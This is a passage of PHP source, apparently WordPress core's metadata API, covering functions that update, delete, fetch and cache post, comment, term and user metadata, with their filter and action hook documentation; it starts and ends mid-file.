	 * @param mixed     $prev_value Optional. Previous value to check before updating.
	 *                              If specified, only update existing metadata entries with
	 *                              this value. Otherwise, update all entries.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $prev_value );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Compare existing value to new value if no prev value given and the key exists only once.
	if ( empty( $prev_value ) ) {
		$old_value = get_metadata_raw( $meta_type, $object_id, $meta_key );
		if ( is_countable( $old_value ) && count( $old_value ) === 1 ) {
			if ( $old_value[0] === $meta_value ) {
				return false;
			}
		}
	}

	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s AND $column = %d", $meta_key, $object_id ) );
	if ( empty( $meta_ids ) ) {
		return add_metadata( $meta_type, $object_id, $raw_meta_key, $passed_value );
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$data  = compact( 'meta_value' );
	$where = array(
		$column    => $object_id,
		'meta_key' => $meta_key,
	);

	if ( ! empty( $prev_value ) ) {
		$prev_value          = maybe_serialize( $prev_value );
		$where['meta_value'] = $prev_value;
	}

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately before updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `update_post_meta`
		 *  - `update_comment_meta`
		 *  - `update_term_meta`
		 *  - `update_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of the metadata entry to update.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately before updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of metadata entry to update.
			 * @param int    $object_id  Post ID.
			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	$result = $wpdb->update( $table, $data, $where );
	if ( ! $result ) {
		return false;
	}

	wp_cache_delete( $object_id, $meta_type . '_meta' );

	foreach ( $meta_ids as $meta_id ) {
		/**
		 * Fires immediately after updating metadata of a specific type.
		 *
		 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
		 * (post, comment, term, user, or any other type with an associated meta table).
		 *
		 * Possible hook names include:
		 *
		 *  - `updated_post_meta`
		 *  - `updated_comment_meta`
		 *  - `updated_term_meta`
		 *  - `updated_user_meta`
		 *
		 * @since 2.9.0
		 *
		 * @param int    $meta_id     ID of updated metadata entry.
		 * @param int    $object_id   ID of the object metadata is for.
		 * @param string $meta_key    Metadata key.
		 * @param mixed  $_meta_value Metadata value.
		 */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/**
			 * Fires immediately after updating a post's metadata.
			 *
			 * @since 2.9.0
			 *
			 * @param int    $meta_id    ID of updated metadata entry.
			 * @param int    $object_id  Post ID.
			 * @param string $meta_key   Metadata key.
			 * @param mixed  $meta_value Metadata value. This will be a PHP-serialized string representation of the value
			 *                           if the value is an array, an object, or itself a PHP-serialized string.
			 */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}
	}

	return true;
}

/**
 * Deletes metadata for the specified object.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                           or any other object type with an associated meta table.
 * @param int    $object_id  ID of the object metadata is for.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Optional. Metadata value. Must be serializable if non-scalar.
 *                           If specified, only delete metadata entries with this value.
 *                           Otherwise, delete all entries with the specified meta_key.
 *                           Pass `null`, `false`, or an empty string to skip this check.
 *                           (For backward compatibility, it is not possible to pass an empty string
 *                           to delete those entries with an empty string for a value.)
 *                           Default empty string.
 * @param bool   $delete_all Optional. If true, delete matching metadata entries for all objects,
 *                           ignoring the specified object_id. Otherwise, only delete
 *                           matching metadata entries for the specified object_id. Default false.
 * @return bool True on successful delete, false on failure.
 */
function delete_metadata( $meta_type, $object_id, $meta_key, $meta_value = '', $delete_all = false ) {
	global $wpdb;

	if ( ! $meta_type || ! $meta_key || ! is_numeric( $object_id ) && ! $delete_all ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id && ! $delete_all ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$type_column = sanitize_key( $meta_type . '_id' );
	$id_column   = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	// expected_slashed ($meta_key)
	$meta_key   = wp_unslash( $meta_key );
	$meta_value = wp_unslash( $meta_value );

	/**
	 * Short-circuits deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_metadata`
	 *  - `delete_comment_metadata`
	 *  - `delete_term_metadata`
	 *  - `delete_user_metadata`
	 *
	 * @since 3.1.0
	 *
	 * @param null|bool $delete     Whether to allow metadata deletion of the given type.
	 * @param int       $object_id  ID of the object metadata is for.
	 * @param string    $meta_key   Metadata key.
	 * @param mixed     $meta_value Metadata value. Must be serializable if non-scalar.
	 * @param bool      $delete_all Whether to delete the matching metadata entries
	 *                              for all objects, ignoring the specified $object_id.
	 *                              Default false.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata", null, $object_id, $meta_key, $meta_value, $delete_all );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$_meta_value = $meta_value;
	$meta_value  = maybe_serialize( $meta_value );

	$query = $wpdb->prepare( "SELECT $id_column FROM $table WHERE meta_key = %s", $meta_key );

	if ( ! $delete_all ) {
		$query .= $wpdb->prepare( " AND $type_column = %d", $object_id );
	}

	if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
		$query .= $wpdb->prepare( ' AND meta_value = %s', $meta_value );
	}

	$meta_ids = $wpdb->get_col( $query );
	if ( ! count( $meta_ids ) ) {
		return false;
	}

	if ( $delete_all ) {
		if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s AND meta_value = %s", $meta_key, $meta_value ) );
		} else {
			$object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s", $meta_key ) );
		}
	}

	/**
	 * Fires immediately before deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_meta`
	 *  - `delete_comment_meta`
	 *  - `delete_term_meta`
	 *  - `delete_user_meta`
	 *
	 * @since 3.1.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "delete_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately before deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'delete_postmeta', $meta_ids );
	}

	$query = "DELETE FROM $table WHERE $id_column IN( " . implode( ',', $meta_ids ) . ' )';

	$count = $wpdb->query( $query );

	if ( ! $count ) {
		return false;
	}

	if ( $delete_all ) {
		$data = (array) $object_ids;
	} else {
		$data = array( $object_id );
	}
	wp_cache_delete_multiple( $data, $meta_type . '_meta' );

	/**
	 * Fires immediately after deleting metadata of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible hook names include:
	 *
	 *  - `deleted_post_meta`
	 *  - `deleted_comment_meta`
	 *  - `deleted_term_meta`
	 *  - `deleted_user_meta`
	 *
	 * @since 2.9.0
	 *
	 * @param string[] $meta_ids    An array of metadata entry IDs to delete.
	 * @param int      $object_id   ID of the object metadata is for.
	 * @param string   $meta_key    Metadata key.
	 * @param mixed    $_meta_value Metadata value.
	 */
	do_action( "deleted_{$meta_type}_meta", $meta_ids, $object_id, $meta_key, $_meta_value );

	// Old-style action.
	if ( 'post' === $meta_type ) {
		/**
		 * Fires immediately after deleting metadata for a post.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $meta_ids An array of metadata entry IDs to delete.
		 */
		do_action( 'deleted_postmeta', $meta_ids );
	}

	return true;
}

/**
 * Retrieves the value of a metadata field for the specified object type and ID.
 *
 * If the meta field exists, a single value is returned if `$single` is true,
 * or an array of values if it's false.
 *
 * If the meta field does not exist, the result depends on get_metadata_default().
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 2.9.0
 *
 * @see get_metadata_raw()
 * @see get_metadata_default()
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               An empty string if a valid but non-existing object ID is passed.
 */
function get_metadata( $meta_type, $object_id, $meta_key = '', $single = false ) {
	$value = get_metadata_raw( $meta_type, $object_id, $meta_key, $single );
	if ( ! is_null( $value ) ) {
		return $value;
	}

	return get_metadata_default( $meta_type, $object_id, $meta_key, $single );
}

/**
 * Retrieves raw metadata value for the specified object.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Optional. Metadata key. If not specified, retrieve all metadata for
 *                          the specified object. Default empty string.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of the meta field if `$single` is true.
 *               False for an invalid `$object_id` (non-numeric, zero, or negative value),
 *               or if `$meta_type` is not specified.
 *               Null if the value does not exist.
 */
function get_metadata_raw( $meta_type, $object_id, $meta_key = '', $single = false ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/**
	 * Short-circuits the return value of a meta field.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible filter names include:
	 *
	 *  - `get_post_metadata`
	 *  - `get_comment_metadata`
	 *  - `get_term_metadata`
	 *  - `get_user_metadata`
	 *
	 * @since 3.1.0
	 * @since 5.5.0 Added the `$meta_type` parameter.
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`. Default null.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, $single, $meta_type );
	if ( null !== $check ) {
		if ( $single && is_array( $check ) ) {
			return $check[0];
		} else {
			return $check;
		}
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		if ( isset( $meta_cache[ $object_id ] ) ) {
			$meta_cache = $meta_cache[ $object_id ];
		} else {
			$meta_cache = null;
		}
	}

	if ( ! $meta_key ) {
		return $meta_cache;
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		if ( $single ) {
			return maybe_unserialize( $meta_cache[ $meta_key ][0] );
		} else {
			return array_map( 'maybe_unserialize', $meta_cache[ $meta_key ] );
		}
	}

	return null;
}

/**
 * Retrieves default metadata value for the specified meta key and object.
 *
 * By default, an empty string is returned if `$single` is true, or an empty array
 * if it's false.
 *
 * @since 5.5.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @param bool   $single    Optional. If true, return only the first value of the specified `$meta_key`.
 *                          This parameter has no effect if `$meta_key` is not specified. Default false.
 * @return mixed An array of default values if `$single` is false.
 *               The default value of the meta field if `$single` is true.
 */
function get_metadata_default( $meta_type, $object_id, $meta_key, $single = false ) {
	if ( $single ) {
		$value = '';
	} else {
		$value = array();
	}

	/**
	 * Filters the default metadata value for a specified meta key and object.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 *
	 * Possible filter names include:
	 *
	 *  - `default_post_metadata`
	 *  - `default_comment_metadata`
	 *  - `default_term_metadata`
	 *  - `default_user_metadata`
	 *
	 * @since 5.5.0
	 *
	 * @param mixed  $value     The value to return, either a single metadata value or an array
	 *                          of values depending on the value of `$single`.
	 * @param int    $object_id ID of the object metadata is for.
	 * @param string $meta_key  Metadata key.
	 * @param bool   $single    Whether to return only the first value of the specified `$meta_key`.
	 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
	 *                          or any other object type with an associated meta table.
	 */
	$value = apply_filters( "default_{$meta_type}_metadata", $value, $object_id, $meta_key, $single, $meta_type );

	if ( ! $single && ! wp_is_numeric_array( $value ) ) {
		$value = array( $value );
	}

	return $value;
}

/**
 * Determines if a meta field with the given key exists for the given object ID.
 *
 * @since 3.3.0
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $object_id ID of the object metadata is for.
 * @param string $meta_key  Metadata key.
 * @return bool Whether a meta field with the given key exists.
 */
function metadata_exists( $meta_type, $object_id, $meta_key ) {
	if ( ! $meta_type || ! is_numeric( $object_id ) ) {
		return false;
	}

	$object_id = absint( $object_id );
	if ( ! $object_id ) {
		return false;
	}

	/** This filter is documented in wp-includes/meta.php */
	$check = apply_filters( "get_{$meta_type}_metadata", null, $object_id, $meta_key, true, $meta_type );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$meta_cache = wp_cache_get( $object_id, $meta_type . '_meta' );

	if ( ! $meta_cache ) {
		$meta_cache = update_meta_cache( $meta_type, array( $object_id ) );
		$meta_cache = $meta_cache[ $object_id ];
	}

	if ( isset( $meta_cache[ $meta_key ] ) ) {
		return true;
	}

	return false;
}

/**
 * Retrieves metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return stdClass|false {
 *     Metadata object, or boolean `false` if the metadata doesn't exist.
 *
 *     @type string $meta_key   The meta key.
 *     @type mixed  $meta_value The unserialized meta value.
 *     @type string $meta_id    Optional. The meta ID when the meta type is any value except 'user'.
 *     @type string $umeta_id   Optional. The meta ID when the meta type is 'user'.
 *     @type string $post_id    Optional. The object ID when the meta type is 'post'.
 *     @type string $comment_id Optional. The object ID when the meta type is 'comment'.
 *     @type string $term_id    Optional. The object ID when the meta type is 'term'.
 *     @type string $user_id    Optional. The object ID when the meta type is 'user'.
 * }
 */
function get_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	/**
	 * Short-circuits the return value when fetching a meta field by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `get_post_metadata_by_mid`
	 *  - `get_comment_metadata_by_mid`
	 *  - `get_term_metadata_by_mid`
	 *  - `get_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param stdClass|null $value   The value to return.
	 * @param int           $meta_id Meta ID.
	 */
	$check = apply_filters( "get_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return $check;
	}

	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $table WHERE $id_column = %d", $meta_id ) );

	if ( empty( $meta ) ) {
		return false;
	}

	if ( isset( $meta->meta_value ) ) {
		$meta->meta_value = maybe_unserialize( $meta->meta_value );
	}

	return $meta;
}

/**
 * Updates metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                 or any other object type with an associated meta table.
 * @param int          $meta_id    ID for a specific meta row.
 * @param string       $meta_value Metadata value. Must be serializable if non-scalar.
 * @param string|false $meta_key   Optional. You can provide a meta key to update it. Default false.
 * @return bool True on successful update, false on failure.
 */
function update_metadata_by_mid( $meta_type, $meta_id, $meta_value, $meta_key = false ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits updating metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata_by_mid`
	 *  - `update_comment_metadata_by_mid`
	 *  - `update_term_metadata_by_mid`
	 *  - `update_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool    $check      Whether to allow updating metadata for the given type.
	 * @param int          $meta_id    Meta ID.
	 * @param mixed        $meta_value Meta value. Must be serializable if non-scalar.
	 * @param string|false $meta_key   Meta key, if provided.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_by_mid", null, $meta_id, $meta_value, $meta_key );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$original_key = $meta->meta_key;
		$object_id    = $meta->{$column};

		/*
		 * If a new meta_key (last parameter) was specified, change the meta key,
		 * otherwise use the original key in the update statement.
		 */
		if ( false === $meta_key ) {
			$meta_key = $original_key;
		} elseif ( ! is_string( $meta_key ) ) {
			return false;
		}

		$meta_subtype = get_object_subtype( $meta_type, $object_id );

		// Sanitize the meta.
		$_meta_value = $meta_value;
		$meta_value  = sanitize_meta( $meta_key, $meta_value, $meta_type, $meta_subtype );
		$meta_value  = maybe_serialize( $meta_value );

		// Format the data query arguments.
		$data = array(
			'meta_key'   => $meta_key,
			'meta_value' => $meta_value,
		);

		// Format the where query arguments.
		$where               = array();
		$where[ $id_column ] = $meta_id;

		/** This action is documented in wp-includes/meta.php */
		do_action( "update_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'update_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		// Run the update query, all fields in $data are %s, $where is a %d.
		$result = $wpdb->update( $table, $data, $where, '%s', '%d' );
		if ( ! $result ) {
			return false;
		}

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "updated_{$meta_type}_meta", $meta_id, $object_id, $meta_key, $_meta_value );

		if ( 'post' === $meta_type ) {
			/** This action is documented in wp-includes/meta.php */
			do_action( 'updated_postmeta', $meta_id, $object_id, $meta_key, $meta_value );
		}

		return true;
	}

	// And if the meta was not found.
	return false;
}

/**
 * Deletes metadata by meta ID.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $meta_type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @param int    $meta_id   ID for a specific meta row.
 * @return bool True on successful delete, false on failure.
 */
function delete_metadata_by_mid( $meta_type, $meta_id ) {
	global $wpdb;

	// Make sure everything is valid.
	if ( ! $meta_type || ! is_numeric( $meta_id ) || floor( $meta_id ) != $meta_id ) {
		return false;
	}

	$meta_id = (int) $meta_id;
	if ( $meta_id <= 0 ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	// Object and ID columns.
	$column    = sanitize_key( $meta_type . '_id' );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	/**
	 * Short-circuits deleting metadata of a specific type by meta ID.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `delete_post_metadata_by_mid`
	 *  - `delete_comment_metadata_by_mid`
	 *  - `delete_term_metadata_by_mid`
	 *  - `delete_user_metadata_by_mid`
	 *
	 * @since 5.0.0
	 *
	 * @param null|bool $delete  Whether to allow metadata deletion of the given type.
	 * @param int       $meta_id Meta ID.
	 */
	$check = apply_filters( "delete_{$meta_type}_metadata_by_mid", null, $meta_id );
	if ( null !== $check ) {
		return (bool) $check;
	}

	// Fetch the meta and go on if it's found.
	$meta = get_metadata_by_mid( $meta_type, $meta_id );
	if ( $meta ) {
		$object_id = (int) $meta->{$column};

		/** This action is documented in wp-includes/meta.php */
		do_action( "delete_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately before deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `delete_postmeta`
			 *  - `delete_commentmeta`
			 *  - `delete_termmeta`
			 *  - `delete_usermeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id ID of the metadata entry to delete.
			 */
			do_action( "delete_{$meta_type}meta", $meta_id );
		}

		// Run the query, will return true if deleted, false otherwise.
		$result = (bool) $wpdb->delete( $table, array( $id_column => $meta_id ) );

		// Clear the caches.
		wp_cache_delete( $object_id, $meta_type . '_meta' );

		/** This action is documented in wp-includes/meta.php */
		do_action( "deleted_{$meta_type}_meta", (array) $meta_id, $object_id, $meta->meta_key, $meta->meta_value );

		// Old-style action.
		if ( 'post' === $meta_type || 'comment' === $meta_type ) {
			/**
			 * Fires immediately after deleting post or comment metadata of a specific type.
			 *
			 * The dynamic portion of the hook name, `$meta_type`, refers to the meta
			 * object type (post or comment).
			 *
			 * Possible hook names include:
			 *
			 *  - `deleted_postmeta`
			 *  - `deleted_commentmeta`
			 *  - `deleted_termmeta`
			 *  - `deleted_usermeta`
			 *
			 * @since 3.4.0
			 *
			 * @param int $meta_id Deleted metadata entry ID.
			 */
			do_action( "deleted_{$meta_type}meta", $meta_id );
		}

		return $result;

	}

	// Meta ID was not found.
	return false;
}

/**
 * Updates the metadata cache for the specified objects.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string       $meta_type  Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                                 or any other object type with an associated meta table.
 * @param string|int[] $object_ids Array or comma delimited list of object IDs to update cache for.
 * @return array|false Metadata cache for the specified objects, or false on failure.
 */
function update_meta_cache( $meta_type, $object_ids ) {
	global $wpdb;

	if ( ! $meta_type || ! $object_ids ) {
		return false;
	}

	$table = _get_meta_table( $meta_type );
	if ( ! $table ) {
		return false;
	}

	$column = sanitize_key( $meta_type . '_id' );

	if ( ! is_array( $object_ids ) ) {
		$object_ids = preg_replace( '|[^0-9,]|', '', $object_ids );
		$object_ids = explode( ',', $object_ids );
	}

	$object_ids = array_map( 'intval', $object_ids );

	/**
	 * Short-circuits updating the metadata cache of a specific type.
	 *
	 * The dynamic portion of the hook name, `$meta_type`, refers to the meta object type
	 * (post, comment, term, user, or any other type with an associated meta table).
	 * Returning a non-null value will effectively short-circuit the function.
	 *
	 * Possible hook names include:
	 *
	 *  - `update_post_metadata_cache`
	 *  - `update_comment_metadata_cache`
	 *  - `update_term_metadata_cache`
	 *  - `update_user_metadata_cache`
	 *
	 * @since 5.0.0
	 *
	 * @param mixed $check      Whether to allow updating the meta cache of the given type.
	 * @param int[] $object_ids Array of object IDs to update the meta cache for.
	 */
	$check = apply_filters( "update_{$meta_type}_metadata_cache", null, $object_ids );
	if ( null !== $check ) {
		return (bool) $check;
	}

	$cache_key      = $meta_type . '_meta';
	$non_cached_ids = array();
	$cache          = array();
	$cache_values   = wp_cache_get_multiple( $object_ids, $cache_key );

	foreach ( $cache_values as $id => $cached_object ) {
		if ( false === $cached_object ) {
			$non_cached_ids[] = $id;
		} else {
			$cache[ $id ] = $cached_object;
		}
	}

	if ( empty( $non_cached_ids ) ) {
		return $cache;
	}

	// Get meta info.
	$id_list   = implode( ',', $non_cached_ids );
	$id_column = ( 'user' === $meta_type ) ? 'umeta_id' : 'meta_id';

	$meta_list = $wpdb->get_results( "SELECT $column, meta_key, meta_value FROM $table WHERE $column IN ($id_list) ORDER BY $id_column ASC", ARRAY_A );

	if ( ! empty( $meta_list ) ) {
		foreach ( $meta_list as $metarow ) {
			$mpid = (int) $metarow[ $column ];
			$mkey = $metarow['meta_key'];
			$mval = $metarow['meta_value'];

			// Force subkeys to be array type.
			if ( ! isset( $cache[ $mpid ] ) || ! is_array( $cache[ $mpid ] ) ) {
				$cache[ $mpid ] = array();
			}
			if ( ! isset( $cache[ $mpid ][ $mkey ] ) || ! is_array( $cache[ $mpid ][ $mkey ] ) ) {
				$cache[ $mpid ][ $mkey ] = array();
			}

			// Add a value to the current pid/key.
			$cache[ $mpid ][ $mkey ][] = $mval;
		}
	}

	$data = array();
	foreach ( $non_cached_ids as $id ) {
		if ( ! isset( $cache[ $id ] ) ) {
			$cache[ $id ] = array();
		}
		$data[ $id ] = $cache[ $id ];
	}
	wp_cache_add_multiple( $data, $cache_key );

	return $cache;
}

/**
 * Retrieves the queue for lazy-loading metadata.
 *
 * @since 4.5.0
 *
 * @return WP_Metadata_Lazyloader Metadata lazyloader queue.
 */
function wp_metadata_lazyloader() {
	static $wp_metadata_lazyloader;

	if ( null === $wp_metadata_lazyloader ) {
		$wp_metadata_lazyloader = new WP_Metadata_Lazyloader();
	}

	return $wp_metadata_lazyloader;
}

/**
 * Given a meta query, generates SQL clauses to be appended to a main query.
 *
 * @since 3.2.0
 *
 * @see WP_Meta_Query
 *
 * @param array  $meta_query        A meta query.
 * @param string $type              Type of meta.
 * @param string $primary_table     Primary database table name.
 * @param string $primary_id_column Primary ID column name.
 * @param object $context           Optional. The main query object. Default null.
 * @return string[]|false {
 *     Array containing JOIN and WHERE SQL clauses to append to the main query,
 *     or false if no table exists for the requested meta type.
 *
 *     @type string $join  SQL fragment to append to the main JOIN clause.
 *     @type string $where SQL fragment to append to the main WHERE clause.
 * }
 */
function get_meta_sql( $meta_query, $type, $primary_table, $primary_id_column, $context = null ) {
	$meta_query_obj = new WP_Meta_Query( $meta_query );
	return $meta_query_obj->get_sql( $type, $primary_table, $primary_id_column, $context );
}

/**
 * Retrieves the name of the metadata table for the specified object type.
 *
 * @since 2.9.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $type Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                     or any other object type with an associated meta table.
 * @return string|false Metadata table name, or false if no metadata table exists
 */
function _get_meta_table( $type ) {
	global $wpdb;

	$table_name = $type . 'meta';

	if ( empty( $wpdb->$table_name ) ) {
		return false;
	}

	return $wpdb->$table_name;
}

/**
 * Determines whether a meta key is considered protected.
 *
 * @since 3.1.3
 *
 * @param string $meta_key  Metadata key.
 * @param string $meta_type Optional. Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table. Default empty string.
